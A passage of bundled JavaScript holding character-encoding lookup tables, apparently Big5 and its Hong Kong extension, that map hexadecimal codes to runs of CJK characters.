"噚噀嘳嘽嘬嘾嘸嘪嘺圚墫墝墱墠墣墯墬墥墡壿嫿嫴嫽嫷嫶嬃嫸嬂嫹嬁嬇嬅嬏屧嶙嶗嶟嶒嶢嶓嶕嶠嶜嶡嶚嶞幩幝幠幜緳廛廞廡彉徲憋憃慹憱憰憢憉"], ["e5a1", "憛憓憯憭憟憒憪憡憍慦憳戭摮摰撖撠撅撗撜撏撋撊撌撣撟摨撱撘敶敺敹敻斲斳暵暰暩暲暷暪暯樀樆樗槥槸樕槱槤樠槿槬槢樛樝槾樧槲槮樔槷槧橀樈槦槻樍槼槫樉樄樘樥樏槶樦樇槴樖歑殥殣殢殦氁氀毿氂潁漦潾澇濆澒"], ["e640", "澍澉澌潢潏澅潚澖潶潬澂潕潲潒潐潗澔澓潝漀潡潫潽潧澐潓澋潩潿澕潣潷潪潻熲熯熛熰熠熚熩熵熝熥熞熤熡熪熜熧熳犘犚獘獒獞獟獠獝獛獡獚獙"], ["e6a1", "獢璇璉璊璆璁瑽璅璈瑼瑹甈甇畾瘥瘞瘙瘝瘜瘣瘚瘨瘛皜皝皞皛瞍瞏瞉瞈磍碻磏磌磑磎磔磈磃磄磉禚禡禠禜禢禛歶稹窲窴窳箷篋箾箬篎箯箹篊箵糅糈糌糋緷緛緪緧緗緡縃緺緦緶緱緰緮緟罶羬羰羭翭翫翪翬翦翨聤聧膣膟"], ["e740", "膞膕膢膙膗舖艏艓艒艐艎艑蔤蔻蔏蔀蔩蔎蔉蔍蔟蔊蔧蔜蓻蔫蓺蔈蔌蓴蔪蓲蔕蓷蓫蓳蓼蔒蓪蓩蔖蓾蔨蔝蔮蔂蓽蔞蓶蔱蔦蓧蓨蓰蓯蓹蔘蔠蔰蔋蔙蔯虢"], ["e7a1", "蝖蝣蝤蝷蟡蝳蝘蝔蝛蝒蝡蝚蝑蝞蝭蝪蝐蝎蝟蝝蝯蝬蝺蝮蝜蝥蝏蝻蝵蝢蝧蝩衚褅褌褔褋褗褘褙褆褖褑褎褉覢覤覣觭觰觬諏諆誸諓諑諔諕誻諗誾諀諅諘諃誺誽諙谾豍貏賥賟賙賨賚賝賧趠趜趡趛踠踣踥踤踮踕踛踖踑踙踦踧"], ["e840", "踔踒踘踓踜踗踚輬輤輘輚輠輣輖輗遳遰遯遧遫鄯鄫鄩鄪鄲鄦鄮醅醆醊醁醂醄醀鋐鋃鋄鋀鋙銶鋏鋱鋟鋘鋩鋗鋝鋌鋯鋂鋨鋊鋈鋎鋦鋍鋕鋉鋠鋞鋧鋑鋓"], ["e8a1", "銵鋡鋆銴镼閬閫閮閰隤隢雓霅霈霂靚鞊鞎鞈韐韏頞頝頦頩頨頠頛頧颲餈飺餑餔餖餗餕駜駍駏駓駔駎駉駖駘駋駗駌骳髬髫髳髲髱魆魃魧魴魱魦魶魵魰魨魤魬鳼鳺鳽鳿鳷鴇鴀鳹鳻鴈鴅鴄麃黓鼏鼐儜儓儗儚儑凞匴叡噰噠噮"], ["e940", "噳噦噣噭噲噞噷圜圛壈墽壉墿墺壂墼壆嬗嬙嬛嬡嬔嬓嬐嬖嬨嬚嬠嬞寯嶬嶱嶩嶧嶵嶰嶮嶪嶨嶲嶭嶯嶴幧幨幦幯廩廧廦廨廥彋徼憝憨憖懅憴懆懁懌憺"], ["e9a1", "憿憸憌擗擖擐擏擉撽撉擃擛擳擙攳敿敼斢曈暾曀曊曋曏暽暻暺曌朣樴橦橉橧樲橨樾橝橭橶橛橑樨橚樻樿橁橪橤橐橏橔橯橩橠樼橞橖橕橍橎橆歕歔歖殧殪殫毈毇氄氃氆澭濋澣濇澼濎濈潞濄澽澞濊澨瀄澥澮澺澬澪濏澿澸"], ["ea40", "澢濉澫濍澯澲澰燅燂熿熸燖燀燁燋燔燊燇燏熽燘熼燆燚燛犝犞獩獦獧獬獥獫獪瑿璚璠璔璒璕璡甋疀瘯瘭瘱瘽瘳瘼瘵瘲瘰皻盦瞚瞝瞡瞜瞛瞢瞣瞕瞙"], ["eaa1", "瞗磝磩磥磪磞磣磛磡磢磭磟磠禤穄穈穇窶窸窵窱窷篞篣篧篝篕篥篚篨篹篔篪篢篜篫篘篟糒糔糗糐糑縒縡縗縌縟縠縓縎縜縕縚縢縋縏縖縍縔縥縤罃罻罼罺羱翯耪耩聬膱膦膮膹膵膫膰膬膴膲膷膧臲艕艖艗蕖蕅蕫蕍蕓蕡蕘"], ["eb40", "蕀蕆蕤蕁蕢蕄蕑蕇蕣蔾蕛蕱蕎蕮蕵蕕蕧蕠薌蕦蕝蕔蕥蕬虣虥虤螛螏螗螓螒螈螁螖螘蝹螇螣螅螐螑螝螄螔螜螚螉褞褦褰褭褮褧褱褢褩褣褯褬褟觱諠"], ["eba1", "諢諲諴諵諝謔諤諟諰諈諞諡諨諿諯諻貑貒貐賵賮賱賰賳赬赮趥趧踳踾踸蹀蹅踶踼踽蹁踰踿躽輶輮輵輲輹輷輴遶遹遻邆郺鄳鄵鄶醓醐醑醍醏錧錞錈錟錆錏鍺錸錼錛錣錒錁鍆錭錎錍鋋錝鋺錥錓鋹鋷錴錂錤鋿錩錹錵錪錔錌"], ["ec40", "錋鋾錉錀鋻錖閼闍閾閹閺閶閿閵閽隩雔霋霒霐鞙鞗鞔韰韸頵頯頲餤餟餧餩馞駮駬駥駤駰駣駪駩駧骹骿骴骻髶髺髹髷鬳鮀鮅鮇魼魾魻鮂鮓鮒鮐魺鮕"], ["eca1", "魽鮈鴥鴗鴠鴞鴔鴩鴝鴘鴢鴐鴙鴟麈麆麇麮麭黕黖黺鼒鼽儦儥儢儤儠儩勴嚓嚌嚍嚆嚄嚃噾嚂噿嚁壖壔壏壒嬭嬥嬲嬣嬬嬧嬦嬯嬮孻寱寲嶷幬幪徾徻懃憵憼懧懠懥懤懨懞擯擩擣擫擤擨斁斀斶旚曒檍檖檁檥檉檟檛檡檞檇檓檎"], ["ed40", "檕檃檨檤檑橿檦檚檅檌檒歛殭氉濌澩濴濔濣濜濭濧濦濞濲濝濢濨燡燱燨燲燤燰燢獳獮獯璗璲璫璐璪璭璱璥璯甐甑甒甏疄癃癈癉癇皤盩瞵瞫瞲瞷瞶"], ["eda1", "瞴瞱瞨矰磳磽礂磻磼磲礅磹磾礄禫禨穜穛穖穘穔穚窾竀竁簅簏篲簀篿篻簎篴簋篳簂簉簃簁篸篽簆篰篱簐簊糨縭縼繂縳顈縸縪繉繀繇縩繌縰縻縶繄縺罅罿罾罽翴翲耬膻臄臌臊臅臇膼臩艛艚艜薃薀薏薧薕薠薋薣蕻薤薚薞"], ["ee40", "蕷蕼薉薡蕺蕸蕗薎薖薆薍薙薝薁薢薂薈薅蕹蕶薘薐薟虨螾螪螭蟅螰螬螹螵螼螮蟉蟃蟂蟌螷螯蟄蟊螴螶螿螸螽蟞螲褵褳褼褾襁襒褷襂覭覯覮觲觳謞"], ["eea1", "謘謖謑謅謋謢謏謒謕謇謍謈謆謜謓謚豏豰豲豱豯貕貔賹赯蹎蹍蹓蹐蹌蹇轃轀邅遾鄸醚醢醛醙醟醡醝醠鎡鎃鎯鍤鍖鍇鍼鍘鍜鍶鍉鍐鍑鍠鍭鎏鍌鍪鍹鍗鍕鍒鍏鍱鍷鍻鍡鍞鍣鍧鎀鍎鍙闇闀闉闃闅閷隮隰隬霠霟霘霝霙鞚鞡鞜"], ["ef40", "鞞鞝韕韔韱顁顄顊顉顅顃餥餫餬餪餳餲餯餭餱餰馘馣馡騂駺駴駷駹駸駶駻駽駾駼騃骾髾髽鬁髼魈鮚鮨鮞鮛鮦鮡鮥鮤鮆鮢鮠鮯鴳鵁鵧鴶鴮鴯鴱鴸鴰"], ["efa1", "鵅鵂鵃鴾鴷鵀鴽翵鴭麊麉麍麰黈黚黻黿鼤鼣鼢齔龠儱儭儮嚘嚜嚗嚚嚝嚙奰嬼屩屪巀幭幮懘懟懭懮懱懪懰懫懖懩擿攄擽擸攁攃擼斔旛曚曛曘櫅檹檽櫡櫆檺檶檷櫇檴檭歞毉氋瀇瀌瀍瀁瀅瀔瀎濿瀀濻瀦濼濷瀊爁燿燹爃燽獶"], ["f040", "璸瓀璵瓁璾璶璻瓂甔甓癜癤癙癐癓癗癚皦皽盬矂瞺磿礌礓礔礉礐礒礑禭禬穟簜簩簙簠簟簭簝簦簨簢簥簰繜繐繖繣繘繢繟繑繠繗繓羵羳翷翸聵臑臒"], ["f0a1", "臐艟艞薴藆藀藃藂薳薵薽藇藄薿藋藎藈藅薱薶藒蘤薸薷薾虩蟧蟦蟢蟛蟫蟪蟥蟟蟳蟤蟔蟜蟓蟭蟘蟣螤蟗蟙蠁蟴蟨蟝襓襋襏襌襆襐襑襉謪謧謣謳謰謵譇謯謼謾謱謥謷謦謶謮謤謻謽謺豂豵貙貘貗賾贄贂贀蹜蹢蹠蹗蹖蹞蹥蹧"], ["f140", "蹛蹚蹡蹝蹩蹔轆轇轈轋鄨鄺鄻鄾醨醥醧醯醪鎵鎌鎒鎷鎛鎝鎉鎧鎎鎪鎞鎦鎕鎈鎙鎟鎍鎱鎑鎲鎤鎨鎴鎣鎥闒闓闑隳雗雚巂雟雘雝霣霢霥鞬鞮鞨鞫鞤鞪"], ["f1a1", "鞢鞥韗韙韖韘韺顐顑顒颸饁餼餺騏騋騉騍騄騑騊騅騇騆髀髜鬈鬄鬅鬩鬵魊魌魋鯇鯆鯃鮿鯁鮵鮸鯓鮶鯄鮹鮽鵜鵓鵏鵊鵛鵋鵙鵖鵌鵗鵒鵔鵟鵘鵚麎麌黟鼁鼀鼖鼥鼫鼪鼩鼨齌齕儴儵劖勷厴嚫嚭嚦嚧嚪嚬壚壝壛夒嬽嬾嬿巃幰"], ["f240", "徿懻攇攐攍攉攌攎斄旞旝曞櫧櫠櫌櫑櫙櫋櫟櫜櫐櫫櫏櫍櫞歠殰氌瀙瀧瀠瀖瀫瀡瀢瀣瀩瀗瀤瀜瀪爌爊爇爂爅犥犦犤犣犡瓋瓅璷瓃甖癠矉矊矄矱礝礛"], ["f2a1", "礡礜礗礞禰穧穨簳簼簹簬簻糬糪繶繵繸繰繷繯繺繲繴繨罋罊羃羆羷翽翾聸臗臕艤艡艣藫藱藭藙藡藨藚藗藬藲藸藘藟藣藜藑藰藦藯藞藢蠀蟺蠃蟶蟷蠉蠌蠋蠆蟼蠈蟿蠊蠂襢襚襛襗襡襜襘襝襙覈覷覶觶譐譈譊譀譓譖譔譋譕"], ["f340", "譑譂譒譗豃豷豶貚贆贇贉趬趪趭趫蹭蹸蹳蹪蹯蹻軂轒轑轏轐轓辴酀鄿醰醭鏞鏇鏏鏂鏚鏐鏹鏬鏌鏙鎩鏦鏊鏔鏮鏣鏕鏄鏎鏀鏒鏧镽闚闛雡霩霫霬霨霦"], ["f3a1", "鞳鞷鞶韝韞韟顜顙顝顗颿颽颻颾饈饇饃馦馧騚騕騥騝騤騛騢騠騧騣騞騜騔髂鬋鬊鬎鬌鬷鯪鯫鯠鯞鯤鯦鯢鯰鯔鯗鯬鯜鯙鯥鯕鯡鯚鵷鶁鶊鶄鶈鵱鶀鵸鶆鶋鶌鵽鵫鵴鵵鵰鵩鶅鵳鵻鶂鵯鵹鵿鶇鵨麔麑黀黼鼭齀齁齍齖齗齘匷嚲"], ["f440", "嚵嚳壣孅巆巇廮廯忀忁懹攗攖攕攓旟曨曣曤櫳櫰櫪櫨櫹櫱櫮櫯瀼瀵瀯瀷瀴瀱灂瀸瀿瀺瀹灀瀻瀳灁爓爔犨獽獼璺皫皪皾盭矌矎矏矍矲礥礣礧礨礤礩"], ["f4a1", "禲穮穬穭竷籉籈籊籇籅糮繻繾纁纀羺翿聹臛臙舋艨艩蘢藿蘁藾蘛蘀藶蘄蘉蘅蘌藽蠙蠐蠑蠗蠓蠖襣襦覹觷譠譪譝譨譣譥譧譭趮躆躈躄轙轖轗轕轘轚邍酃酁醷醵醲醳鐋鐓鏻鐠鐏鐔鏾鐕鐐鐨鐙鐍鏵鐀鏷鐇鐎鐖鐒鏺鐉鏸鐊鏿"], ["f540", "鏼鐌鏶鐑鐆闞闠闟霮霯鞹鞻韽韾顠顢顣顟飁飂饐饎饙饌饋饓騲騴騱騬騪騶騩騮騸騭髇髊髆鬐鬒鬑鰋鰈鯷鰅鰒鯸鱀鰇鰎鰆鰗鰔鰉鶟鶙鶤鶝鶒鶘鶐鶛"], ["f5a1", "鶠鶔鶜鶪鶗鶡鶚鶢鶨鶞鶣鶿鶩鶖鶦鶧麙麛麚黥黤黧黦鼰鼮齛齠齞齝齙龑儺儹劘劗囃嚽嚾孈孇巋巏廱懽攛欂櫼欃櫸欀灃灄灊灈灉灅灆爝爚爙獾甗癪矐礭礱礯籔籓糲纊纇纈纋纆纍罍羻耰臝蘘蘪蘦蘟蘣蘜蘙蘧蘮蘡蘠蘩蘞蘥"], ["f640", "蠩蠝蠛蠠蠤蠜蠫衊襭襩襮襫觺譹譸譅譺譻贐贔趯躎躌轞轛轝酆酄酅醹鐿鐻鐶鐩鐽鐼鐰鐹鐪鐷鐬鑀鐱闥闤闣霵霺鞿韡顤飉飆飀饘饖騹騽驆驄驂驁騺"], ["f6a1", "騿髍鬕鬗鬘鬖鬺魒鰫鰝鰜鰬鰣鰨鰩鰤鰡鶷鶶鶼鷁鷇鷊鷏鶾鷅鷃鶻鶵鷎鶹鶺鶬鷈鶱鶭鷌鶳鷍鶲鹺麜黫黮黭鼛鼘鼚鼱齎齥齤龒亹囆囅囋奱孋孌巕巑廲攡攠攦攢欋欈欉氍灕灖灗灒爞爟犩獿瓘瓕瓙瓗癭皭礵禴穰穱籗籜籙籛籚"], ["f740", "糴糱纑罏羇臞艫蘴蘵蘳蘬蘲蘶蠬蠨蠦蠪蠥襱覿覾觻譾讄讂讆讅譿贕躕躔躚躒躐躖躗轠轢酇鑌鑐鑊鑋鑏鑇鑅鑈鑉鑆霿韣顪顩飋饔饛驎驓驔驌驏驈驊"], ["f7a1", "驉驒驐髐鬙鬫鬻魖魕鱆鱈鰿鱄鰹鰳鱁鰼鰷鰴鰲鰽鰶鷛鷒鷞鷚鷋鷐鷜鷑鷟鷩鷙鷘鷖鷵鷕鷝麶黰鼵鼳鼲齂齫龕龢儽劙壨壧奲孍巘蠯彏戁戃戄攩攥斖曫欑欒欏毊灛灚爢玂玁玃癰矔籧籦纕艬蘺虀蘹蘼蘱蘻蘾蠰蠲蠮蠳襶襴襳觾"], ["f840", "讌讎讋讈豅贙躘轤轣醼鑢鑕鑝鑗鑞韄韅頀驖驙鬞鬟鬠鱒鱘鱐鱊鱍鱋鱕鱙鱌鱎鷻鷷鷯鷣鷫鷸鷤鷶鷡鷮鷦鷲鷰鷢鷬鷴鷳鷨鷭黂黐黲黳鼆鼜鼸鼷鼶齃齏"], ["f8a1", "齱齰齮齯囓囍孎屭攭曭曮欓灟灡灝灠爣瓛瓥矕礸禷禶籪纗羉艭虃蠸蠷蠵衋讔讕躞躟躠躝醾醽釂鑫鑨鑩雥靆靃靇韇韥驞髕魙鱣鱧鱦鱢鱞鱠鸂鷾鸇鸃鸆鸅鸀鸁鸉鷿鷽鸄麠鼞齆齴齵齶囔攮斸欘欙欗欚灢爦犪矘矙礹籩籫糶纚"], ["f940", "纘纛纙臠臡虆虇虈襹襺襼襻觿讘讙躥躤躣鑮鑭鑯鑱鑳靉顲饟鱨鱮鱭鸋鸍鸐鸏鸒鸑麡黵鼉齇齸齻齺齹圞灦籯蠼趲躦釃鑴鑸鑶鑵驠鱴鱳鱱鱵鸔鸓黶鼊"], ["f9a1", "龤灨灥糷虪蠾蠽蠿讞貜躩軉靋顳顴飌饡馫驤驦驧鬤鸕鸗齈戇欞爧虌躨钂钀钁驩驨鬮鸙爩虋讟钃鱹麷癵驫鱺鸝灩灪麤齾齉龘碁銹裏墻恒粧嫺╔╦╗╠╬╣╚╩╝╒╤╕╞╪╡╘╧╛╓╥╖╟╫╢╙╨╜║═╭╮╰╯▓"]]
    }, function (t, e) {
        t.exports = [["8740", "䏰䰲䘃䖦䕸𧉧䵷䖳𧲱䳢𧳅㮕䜶䝄䱇䱀𤊿𣘗𧍒𦺋𧃒䱗𪍑䝏䗚䲅𧱬䴇䪤䚡𦬣爥𥩔𡩣𣸆𣽡晍囻"], ["8767", "綕夝𨮹㷴霴𧯯寛𡵞媤㘥𩺰嫑宷峼杮薓𩥅瑡璝㡵𡵓𣚞𦀡㻬"], ["87a1", "𥣞㫵竼龗𤅡𨤍𣇪𠪊𣉞䌊蒄龖鐯䤰蘓墖靊鈘秐稲晠権袝瑌篅枂稬剏遆㓦珄𥶹瓆鿇垳䤯呌䄱𣚎堘穲𧭥讏䚮𦺈䆁𥶙箮𢒼鿈𢓁𢓉𢓌鿉蔄𣖻䂴鿊䓡𪷿拁灮鿋"], ["8840", "㇀", 4, "𠄌㇅𠃑𠃍㇆㇇𠃋𡿨㇈𠃊㇉㇊㇋㇌𠄎㇍㇎ĀÁǍÀĒÉĚÈŌÓǑÒ࿿Ê̄Ế࿿Ê̌ỀÊāáǎàɑēéěèīíǐìōóǒòūúǔùǖǘǚ"], ["88a1", "ǜü࿿ê̄ế࿿ê̌ềêɡ⏚⏛"], ["8940", "𪎩𡅅"], ["8943", "攊"], ["8946", "丽滝鵎釟"], ["894c", "𧜵撑会伨侨兖兴农凤务动医华发变团声处备夲头学实実岚庆总斉柾栄桥济炼电纤纬纺织经统缆缷艺苏药视设询车轧轮"], ["89a1", "琑糼緍楆竉刧"], ["89ab", "醌碸酞肼"], ["89b0", "贋胶𠧧"], ["89b5", "肟黇䳍鷉鸌䰾𩷶𧀎鸊𪄳㗁"], ["89c1", "溚舾甙"], ["89c5", "䤑马骏龙禇𨑬𡷊𠗐𢫦两亁亀亇亿仫伷㑌侽㹈倃傈㑽㒓㒥円夅凛凼刅争剹劐匧㗇厩㕑厰㕓参吣㕭㕲㚁咓咣咴咹哐哯唘唣唨㖘唿㖥㖿嗗㗅"], ["8a40", "𧶄唥"], ["8a43", "𠱂𠴕𥄫喐𢳆㧬𠍁蹆𤶸𩓥䁓𨂾睺𢰸㨴䟕𨅝𦧲𤷪擝𠵼𠾴𠳕𡃴撍蹾𠺖𠰋𠽤𢲩𨉖𤓓"], ["8a64", "𠵆𩩍𨃩䟴𤺧𢳂骲㩧𩗴㿭㔆𥋇𩟔𧣈𢵄鵮頕"], ["8a76", "䏙𦂥撴哣𢵌𢯊𡁷㧻𡁯"], ["8aa1", "𦛚𦜖𧦠擪𥁒𠱃蹨𢆡𨭌𠜱"], ["8aac", "䠋𠆩㿺塳𢶍"], ["8ab2", "𤗈𠓼𦂗𠽌𠶖啹䂻䎺"], ["8abb", "䪴𢩦𡂝膪飵𠶜捹㧾𢝵跀嚡摼㹃"], ["8ac9", "𪘁𠸉𢫏𢳉"], ["8ace", "𡃈𣧂㦒㨆𨊛㕸𥹉𢃇噒𠼱𢲲𩜠㒼氽𤸻"], ["8adf", "𧕴𢺋𢈈𪙛𨳍𠹺𠰴𦠜羓𡃏𢠃𢤹㗻𥇣𠺌𠾍𠺪㾓𠼰𠵇𡅏𠹌"], ["8af6", "𠺫𠮩𠵈𡃀𡄽㿹𢚖搲𠾭"], ["8b40", "𣏴𧘹𢯎𠵾𠵿𢱑𢱕㨘𠺘𡃇𠼮𪘲𦭐𨳒𨶙𨳊閪哌苄喹"], ["8b55", "𩻃鰦骶𧝞𢷮煀腭胬尜𦕲脴㞗卟𨂽醶𠻺𠸏𠹷𠻻㗝𤷫㘉𠳖嚯𢞵𡃉𠸐𠹸𡁸𡅈𨈇𡑕𠹹𤹐𢶤婔𡀝𡀞𡃵𡃶垜𠸑"], ["8ba1", "𧚔𨋍𠾵𠹻𥅾㜃𠾶𡆀𥋘𪊽𤧚𡠺𤅷𨉼墙剨㘚𥜽箲孨䠀䬬鼧䧧鰟鮍𥭴𣄽嗻㗲嚉丨夂𡯁屮靑𠂆乛亻㔾尣彑忄㣺扌攵歺氵氺灬爫丬犭𤣩罒礻糹罓𦉪㓁"], ["8bde", "𦍋耂肀𦘒𦥑卝衤见𧢲讠贝钅镸长门𨸏韦页风飞饣𩠐鱼鸟黄歯龜丷𠂇阝户钢"], ["8c40", "倻淾𩱳龦㷉袏𤅎灷峵䬠𥇍㕙𥴰愢𨨲辧釶熑朙玺𣊁𪄇㲋𡦀䬐磤琂冮𨜏䀉橣𪊺䈣蘏𠩯稪𩥇𨫪靕灍匤𢁾鏴盙𨧣龧矝亣俰傼丯众龨吴綋墒壐𡶶庒庙忂𢜒斋"], ["8ca1", "𣏹椙橃𣱣泿"], ["8ca7", "爀𤔅玌㻛𤨓嬕璹讃𥲤𥚕窓篬糃繬苸薗龩袐龪躹龫迏蕟駠鈡龬𨶹𡐿䁱䊢娚"], ["8cc9", "顨杫䉶圽"], ["8cce", "藖𤥻芿𧄍䲁𦵴嵻𦬕𦾾龭龮宖龯曧繛湗秊㶈䓃𣉖𢞖䎚䔶"], ["8ce6", "峕𣬚諹屸㴒𣕑嵸龲煗䕘𤃬𡸣䱷㥸㑊𠆤𦱁諌侴𠈹妿腬顖𩣺弻"], ["8d40", "𠮟"], ["8d42", "𢇁𨥭䄂䚻𩁹㼇龳𪆵䃸㟖䛷𦱆䅼𨚲𧏿䕭㣔𥒚䕡䔛䶉䱻䵶䗪㿈𤬏㙡䓞䒽䇭崾嵈嵖㷼㠏嶤嶹㠠㠸幂庽弥徃㤈㤔㤿㥍惗愽峥㦉憷憹懏㦸戬抐拥挘㧸嚱"], ["8da1", "㨃揢揻搇摚㩋擀崕嘡龟㪗斆㪽旿晓㫲暒㬢朖㭂枤栀㭘桊梄㭲㭱㭻椉楃牜楤榟榅㮼槖㯝橥橴橱檂㯬檙㯲檫檵櫔櫶殁毁毪汵沪㳋洂洆洦涁㳯涤涱渕渘温溆𨧀溻滢滚齿滨滩漤漴㵆𣽁澁澾㵪㵵熷岙㶊瀬㶑灐灔灯灿炉𠌥䏁㗱𠻘"], ["8e40", "𣻗垾𦻓焾𥟠㙎榢𨯩孴穉𥣡𩓙穥穽𥦬窻窰竂竃燑𦒍䇊竚竝竪䇯咲𥰁笋筕笩𥌎𥳾箢筯莜𥮴𦱿篐萡箒箸𥴠㶭𥱥蒒篺簆簵𥳁籄粃𤢂粦晽𤕸糉糇糦籴糳糵糎"], ["8ea1", "繧䔝𦹄絝𦻖璍綉綫焵綳緒𤁗𦀩緤㴓緵𡟹緥𨍭縝𦄡𦅚繮纒䌫鑬縧罀罁罇礶𦋐駡羗𦍑羣𡙡𠁨䕜𣝦䔃𨌺翺𦒉者耈耝耨耯𪂇𦳃耻耼聡𢜔䦉𦘦𣷣𦛨朥肧𨩈脇脚墰𢛶汿𦒘𤾸擧𡒊舘𡡞橓𤩥𤪕䑺舩𠬍𦩒𣵾俹𡓽蓢荢𦬊𤦧𣔰𡝳𣷸芪椛芳䇛"], ["8f40", "蕋苐茚𠸖𡞴㛁𣅽𣕚艻苢茘𣺋𦶣𦬅𦮗𣗎㶿茝嗬莅䔋𦶥莬菁菓㑾𦻔橗蕚㒖𦹂𢻯葘𥯤葱㷓䓤檧葊𣲵祘蒨𦮖𦹷𦹃蓞萏莑䒠蒓蓤𥲑䉀𥳀䕃蔴嫲𦺙䔧蕳䔖枿蘖"], ["8fa1", "𨘥𨘻藁𧂈蘂𡖂𧃍䕫䕪蘨㙈𡢢号𧎚虾蝱𪃸蟮𢰧螱蟚蠏噡虬桖䘏衅衆𧗠𣶹𧗤衞袜䙛袴袵揁装睷𧜏覇覊覦覩覧覼𨨥觧𧤤𧪽誜瞓釾誐𧩙竩𧬺𣾏䜓𧬸煼謌謟𥐰𥕥謿譌譍誩𤩺讐讛誯𡛟䘕衏貛𧵔𧶏貫㜥𧵓賖𧶘𧶽贒贃𡤐賛灜贑𤳉㻐起"], ["9040", "趩𨀂𡀔𤦊㭼𨆼𧄌竧躭躶軃鋔輙輭𨍥𨐒辥錃𪊟𠩐辳䤪𨧞𨔽𣶻廸𣉢迹𪀔𨚼𨔁𢌥㦀𦻗逷𨔼𧪾遡𨕬𨘋邨𨜓郄𨛦邮都酧㫰醩釄粬𨤳𡺉鈎沟鉁鉢𥖹銹𨫆𣲛𨬌𥗛"], ["90a1", "𠴱錬鍫𨫡𨯫炏嫃𨫢𨫥䥥鉄𨯬𨰹𨯿鍳鑛躼閅閦鐦閠濶䊹𢙺𨛘𡉼𣸮䧟氜陻隖䅬隣𦻕懚隶磵𨫠隽双䦡𦲸𠉴𦐐𩂯𩃥𤫑𡤕𣌊霱虂霶䨏䔽䖅𤫩灵孁霛靜𩇕靗孊𩇫靟鐥僐𣂷𣂼鞉鞟鞱鞾韀韒韠𥑬韮琜𩐳響韵𩐝𧥺䫑頴頳顋顦㬎𧅵㵑𠘰𤅜"], ["9140", "𥜆飊颷飈飇䫿𦴧𡛓喰飡飦飬鍸餹𤨩䭲𩡗𩤅駵騌騻騐驘𥜥㛄𩂱𩯕髠髢𩬅髴䰎鬔鬭𨘀倴鬴𦦨㣃𣁽魐魀𩴾婅𡡣鮎𤉋鰂鯿鰌𩹨鷔𩾷𪆒𪆫𪃡𪄣𪇟鵾鶃𪄴鸎梈"], ["91a1", "鷄𢅛𪆓𪈠𡤻𪈳鴹𪂹𪊴麐麕麞麢䴴麪麯𤍤黁㭠㧥㴝伲㞾𨰫鼂鼈䮖鐤𦶢鼗鼖鼹嚟嚊齅馸𩂋韲葿齢齩竜龎爖䮾𤥵𤦻煷𤧸𤍈𤩑玞𨯚𡣺禟𨥾𨸶鍩鏳𨩄鋬鎁鏋𨥬𤒹爗㻫睲穃烐𤑳𤏸煾𡟯炣𡢾𣖙㻇𡢅𥐯𡟸㜢𡛻𡠹㛡𡝴𡣑𥽋㜣𡛀坛𤨥𡏾𡊨"], ["9240", "𡏆𡒶蔃𣚦蔃葕𤦔𧅥𣸱𥕜𣻻𧁒䓴𣛮𩦝𦼦柹㜳㰕㷧塬𡤢栐䁗𣜿𤃡𤂋𤄏𦰡哋嚞𦚱嚒𠿟𠮨𠸍鏆𨬓鎜仸儫㠙𤐶亼𠑥𠍿佋侊𥙑婨𠆫𠏋㦙𠌊𠐔㐵伩𠋀𨺳𠉵諚𠈌亘"], ["92a1", "働儍侢伃𤨎𣺊佂倮偬傁俌俥偘僼兙兛兝兞湶𣖕𣸹𣺿浲𡢄𣺉冨凃𠗠䓝𠒣𠒒𠒑赺𨪜𠜎剙劤𠡳勡鍮䙺熌𤎌𠰠𤦬𡃤槑𠸝瑹㻞璙琔瑖玘䮎𤪼𤂍叐㖄爏𤃉喴𠍅响𠯆圝鉝雴鍦埝垍坿㘾壋媙𨩆𡛺𡝯𡜐娬妸銏婾嫏娒𥥆𡧳𡡡𤊕㛵洅瑃娡𥺃"], ["9340", "媁𨯗𠐓鏠璌𡌃焅䥲鐈𨧻鎽㞠尞岞幞幈𡦖𡥼𣫮廍孏𡤃𡤄㜁𡢠㛝𡛾㛓脪𨩇𡶺𣑲𨦨弌弎𡤧𡞫婫𡜻孄蘔𧗽衠恾𢡠𢘫忛㺸𢖯𢖾𩂈𦽳懀𠀾𠁆𢘛憙憘恵𢲛𢴇𤛔𩅍"], ["93a1", "摱𤙥𢭪㨩𢬢𣑐𩣪𢹸挷𪑛撶挱揑𤧣𢵧护𢲡搻敫楲㯴𣂎𣊭𤦉𣊫唍𣋠𡣙𩐿曎𣊉𣆳㫠䆐𥖄𨬢𥖏𡛼𥕛𥐥磮𣄃𡠪𣈴㑤𣈏𣆂𤋉暎𦴤晫䮓昰𧡰𡷫晣𣋒𣋡昞𥡲㣑𣠺𣞼㮙𣞢𣏾瓐㮖枏𤘪梶栞㯄檾㡣𣟕𤒇樳橒櫉欅𡤒攑梘橌㯗橺歗𣿀𣲚鎠鋲𨯪𨫋"], ["9440", "銉𨀞𨧜鑧涥漋𤧬浧𣽿㶏渄𤀼娽渊塇洤硂焻𤌚𤉶烱牐犇犔𤞏𤜥兹𤪤𠗫瑺𣻸𣙟𤩊𤤗𥿡㼆㺱𤫟𨰣𣼵悧㻳瓌琼鎇琷䒟𦷪䕑疃㽣𤳙𤴆㽘畕癳𪗆㬙瑨𨫌𤦫𤦎㫻"], ["94a1", "㷍𤩎㻿𤧅𤣳釺圲鍂𨫣𡡤僟𥈡𥇧睸𣈲眎眏睻𤚗𣞁㩞𤣰琸璛㺿𤪺𤫇䃈𤪖𦆮錇𥖁砞碍碈磒珐祙𧝁𥛣䄎禛蒖禥樭𣻺稺秴䅮𡛦䄲鈵秱𠵌𤦌𠊙𣶺𡝮㖗啫㕰㚪𠇔𠰍竢婙𢛵𥪯𥪜娍𠉛磰娪𥯆竾䇹籝籭䈑𥮳𥺼𥺦糍𤧹𡞰粎籼粮檲緜縇緓罎𦉡"], ["9540", "𦅜𧭈綗𥺂䉪𦭵𠤖柖𠁎𣗏埄𦐒𦏸𤥢翝笧𠠬𥫩𥵃笌𥸎駦虅驣樜𣐿㧢𤧷𦖭騟𦖠蒀𧄧𦳑䓪脷䐂胆脉腂𦞴飃𦩂艢艥𦩑葓𦶧蘐𧈛媆䅿𡡀嬫𡢡嫤𡣘蚠蜨𣶏蠭𧐢娂"], ["95a1", "衮佅袇袿裦襥襍𥚃襔𧞅𧞄𨯵𨯙𨮜𨧹㺭蒣䛵䛏㟲訽訜𩑈彍鈫𤊄旔焩烄𡡅鵭貟賩𧷜妚矃姰䍮㛔踪躧𤰉輰轊䋴汘澻𢌡䢛潹溋𡟚鯩㚵𤤯邻邗啱䤆醻鐄𨩋䁢𨫼鐧𨰝𨰻蓥訫閙閧閗閖𨴴瑅㻂𤣿𤩂𤏪㻧𣈥随𨻧𨹦𨹥㻌𤧭𤩸𣿮琒瑫㻼靁𩂰"], ["9640", 